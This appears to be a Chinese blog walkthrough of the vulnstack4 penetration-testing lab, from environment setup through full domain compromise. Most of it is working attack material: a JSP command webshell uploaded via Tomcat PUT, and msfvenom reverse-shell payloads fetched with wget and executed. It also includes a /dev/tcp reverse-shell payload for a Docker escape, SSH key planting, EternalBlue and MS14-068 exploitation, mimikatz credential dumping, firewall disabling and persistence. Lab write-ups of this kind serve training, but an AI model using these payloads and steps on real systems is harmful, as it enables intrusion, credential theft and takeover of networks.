红日安全ATT&CK靶机实战系列之vulnstack4

声明

好好学习,天天向上

环境配置

下载地址,直接进去用百度云,没有会员也下的非常快

http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

边下载着,可以开始vmware的网络配置

有两个网段,外网网段是我自己设置的桥接模式192.168.31.1/24,内网网段,vmware加一个网卡VMnet3,192.168.183.1/24

和前面的大同小异,我这里就不细说了看过系列文章的应该都已经很清楚这种网络结构了,我直接贴图吧

桥接的就是攻击机与边界服务器的网卡

新增的VMnet3的183段就是内网的和连接内网的边界服务器的网卡

在这里插入图片描述

解压环境后,一共三台服务器,分别打开,导入过程中出现弹框,不要慌,点击重试即可

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

网络配好后,可以开机登录看看网络

ubuntu:ubuntu
192.168.31.48
192.168.183.128

域成员机器
douser:Dotest123
192.168.183.129

DC
administrator:Test2008
192.168.183.130

在这里插入图片描述

Web服务器为Ubuntu,需要进入ubuntu,用docker启动,熟悉vulhub的都清楚:

  • s2-045
  • CVE-2017-12615(tomcat put上传)
  • cve-2018-12613(phpmyadmin文件包含漏洞)

熟悉docker的都清楚,docker基本都是root

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

成功启动后,删掉多余的容器,一共4个容器

在这里插入图片描述

在这里插入图片描述

win7总是自动挂起

进入控制面板 → 硬件和声音 → 更改计算机休眠时间 (改为从不休眠)

环境配置完毕

战斗

Web渗透

信息收集

kali扫描存活

arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24

在这里插入图片描述

扫描详细信息

nmap -T4 -A 192.168.31.48 -p 1-65535 -oN nmap.A

在这里插入图片描述

开了22的ssh,2001的struts2,2002的tomcat,2003的phpmyadmin,ssh可以先放一放,剩下这三个,都是常用的,而且tomcat和phpmyadmin都是比较早的版本了

Struts2-Shell

随便拿俩工具验证一下康康

在这里插入图片描述

直接就能执行命令,为什么是172打头的呢?笨这显然是docker里面了啊

在这里插入图片描述

phpmyadmin-Shell

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613),这句话在网上一搜一大堆,那就来试试吧,毕竟我也是把vulhub都做的差不多了,也很熟悉这些了,看一看自己以前的文章,原来是直接可以包含文件,试一下先

http://192.168.31.48:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

在这里插入图片描述

之前的文章都没写到拿shell,那这次好好跟大佬们学习吧

其实思路就是,有了这个漏洞,就可以各种包含,也就是各种调用,那如果我们可以上传,或者说写入一个一句话,就可以用这个漏洞调用一句话,那该怎么写入呢,不要忘了mysql的日志写入功能

在sql执行处执行,并F12查看当前页面cookie中的phpmyadmin的值,这个也是经常用到的

select '<?php phpinfo();?>'

在这里插入图片描述

在这里插入图片描述

拿到cookie拼接

http://192.168.31.48:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_d9d73b108e81c24a365e218c5b1e5e54

成功执行phpinfo

在这里插入图片描述

写入一句话就可以了,这里是docker环境所以有点问题,我们到此为止

tomcat-Shell

tomcat 这么老的版本更不要说了

访问,抓包

http://192.168.31.48:2002/

在这里插入图片描述

可以修改方法为PUT,上传一个文件

PUT /shell.jsp/ HTTP/1.1
Host: 192.168.31.48:2002
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: phpMyAdmin=33ae53ca410bc8c12a08b825b08a3b7f; pma_lang=zh_CN
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

<%@ page import="java.util.*,java.io.*,java.net.*"%>
 <%
 %>
 <HTML><BODY>
 <FORM METHOD="POST" NAME="myform" ACTION="">
 <INPUT TYPE="text" NAME="cmd">
 <INPUT TYPE="submit" VALUE="Send">
 </FORM>
 <pre>
 <%
 if (request.getParameter("cmd") != null) {
         out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
         OutputStream os = p.getOutputStream();
         InputStream in = p.getInputStream();
         DataInputStream dis = new DataInputStream(in);
         String disr = dis.readLine();
         while ( disr != null ) {
                 out.println(disr); disr = dis.readLine(); }
         }
 %>
 </pre>
 </BODY></HTML>

在这里插入图片描述

访问我们的马

http://192.168.31.48:2002/shell.jsp

在这里插入图片描述

权限维持/提升

msf上线

生成木马,开启站点

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6666 -f elf > shell.elf
python -m SimpleHTTPServer 80

在这里插入图片描述

msf开启监听

use exploit/multi/handler
set lhost 192.168.31.96
set lport 6666
set payload linux/x86/meterpreter/reverse_tcp
run

在这里插入图片描述

在刚刚shell.jsp上分别执行

wget http://192.168.31.96/shell.elf
chmod 777 shell.elf
./shell.elf

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

这里是让一个shell持久化在msf上了,但是这个IP,我们前面也说过,这是在docker里面,那么拿到docker,对我们来说毫无卵用,我们需要从docker跳出来,跳到服务器中,有点类似是从vmware的虚机跳到实体机上,这其实就叫做docker逃逸,以前没学过docker的时候,听着感觉贼牛逼,现在想想不就是这个道理吗,而且已经有现成的漏洞可以这么搞了,那就是CVE-2019-5736

首先下载并编译main.go脚本,生成攻击payload:

https://github.com/Frichetten/CVE-2019-5736-PoC

在这里插入图片描述

编辑main.go脚本

vim main.go

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.31.96/6667 0>& 1"

在这里插入图片描述

编译go成脚本

go环境搭建

https://www.cnblogs.com/sch01ar/p/7625607.html

环境搭建完后,编译

 CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

在这里插入图片描述

在这里插入图片描述

利用meterpreter将这个脚本上传到docker的/home下

upload /app/vulnstack/4/CVE-2019-5736-PoC-master /home

kali监听

nc -lvp 6667

从meterpreter进入shell执行逃逸脚本

shell
cd /home
chmod main
./main

在这里插入图片描述

模拟docker进入容器,可是这里根本不理睬我

在这里插入图片描述

换思路吧

利用–privileged特权模式逃逸

利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制

新建一个/hack目录用来挂载文件:

mkdir /hack

在这里插入图片描述

将/dev/sda1挂载到/hack目录里

ls /dev
mount /dev/sda1 /hack
ls /hack

在这里插入图片描述

在这里插入图片描述

kali本地生成ssh秘钥

ssh-keygen -f hack
chmod 600 hack

在这里插入图片描述

现在相当于我们可以通过操纵hack目录,来操纵宿主机的目录,需要将这个秘钥传到宿主机就能ssh登录

验证一下

ls /hack/home

还记得这个用户吧

在这里插入图片描述

看一看隐藏文件

ls -alh /hack/home/ubuntu

就是你

在这里插入图片描述

这里看一下我的

cat hack.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali

在kali上写一个可以修改ssh的脚本,并开启web服务器(因为我webshell执行echo总失败)

vim key.sh
cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali' > /hack/home/ubuntu/.ssh/authorized_keys
cat /hack/home/ubuntu/.ssh/authorized_keys
python -m SimpleHTTPServer 80

webshell下载并执行

wget http://192.168.31.96/key.sh
chmod 777 key.sh
./key.sh
ls -alh /test/home/ubuntu/.ssh

写入成功

cat /hack/home/ubuntu/.ssh/authorized_keys

在这里插入图片描述

在这里插入图片描述

现在就可以利用自己的私钥进行免密登录

ssh -i hack ubuntu@192.168.31.48

我这里不太娴熟,多次挂载,还给docker宿主机整崩了

在这里插入图片描述

登录成功后,看到了一个183段的,这个应该就是内网网段了

在这里插入图片描述

再使用同样的方式在ubuntu上上传一个shell马

 wget http://192.168.31.96/shell.elf
 chmod 777 shell.elf
 nohup ./shell.elf &

我这里由于重装了一下这个ubuntu,IP由原来的31.48变成了31.127

在这里插入图片描述

把ew上传到ubuntu上

upload /app/tools/ew-master/ew_for_linux64 /home/ubuntu

在这里插入图片描述

在这里插入图片描述

接着就是ubuntu开启

nohup ./ew_for_linux64 -s ssocksd -l 1080 &

在这里插入图片描述

kali配置

vim /etc/proxychains4.conf

在这里插入图片描述

msf路由转发

run autoroute -s 192.168.183.0/24
run autoroute -p

内网渗透

信息收集

可以先使用msf进行一波存活扫描

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

肉眼可见的两台129,130,算上之前的128,一共三台域内服务器

在这里插入图片描述

横向渗透

永恒之蓝扫描一下,129,130都有ms17_010

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.129-130
run

在这里插入图片描述

攻击131

setg Proxies socks5:192.168.31.127:1080       // 设置代理,不设置代理ms17_010很难打通
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.129
set lport 4444
set AutoRunScript post/windows/manage/migrate             // 自动迁移进程
run

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

这样就拿到了这个域成员的SYSTEM,按照惯例,信息收集一波

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net time /domain           // 主域服务器会同时作为时间服务器
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain    // 查看域管理员组

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

经过信息收集,下一步目标就是182.130这台服务器,用mimikatz拿密码

在这里插入图片描述

报错了

在这里插入图片描述

加载模块,假冒令牌

load incognito
token:list_tokens -u
impersonate user "AUTHORITY\SYSTEM"

在这里插入图片描述

再次进入shell,用mimikatz

shell
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

在这里插入图片描述

在这里插入图片描述

有了密码,试试ms14-068

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

下载后上传上去

在这里插入图片描述

利用ms14-068伪造票据

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

在这里插入图片描述

mimikatz注入票据

mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件>   //将票据注入到内存中

在这里插入图片描述

查看域控

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

在这里插入图片描述

msf再生成一个马,再把这个马通过win操纵,上传到域控

msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.31.96 lport=6688 -f exe -o bind.exe

在这里插入图片描述

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

在这里插入图片描述

msf开启监听

use exploit/multi/handler
set Proxies socks5:192.168.31.127:1080
set payload windows/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 6688
set AutoRunScript post/windows/manage/migrate
run

创建服务执行msf马:

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

可以看到130过来了

在这里插入图片描述

在这里插入图片描述

有时候用代理,meterpreter会很不稳定,比如

在这里插入图片描述

在这里插入图片描述

我们要抓紧时间,刚生成meterpreter时执行

run persistence -X -i 5 -p 4000 -P windows/meterpreter/bind_tcp

往130上上传mimikatz,拿到密码administrator/!QAZ2wsx

在这里插入图片描述

在这里插入图片描述

meterpreter开启3389

run post/windows/manage/enable_rdp

在这里插入图片描述

登录

DEMO\administrator
!QAZ2wsx

在这里插入图片描述

拿下

在这里插入图片描述

  • 6
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值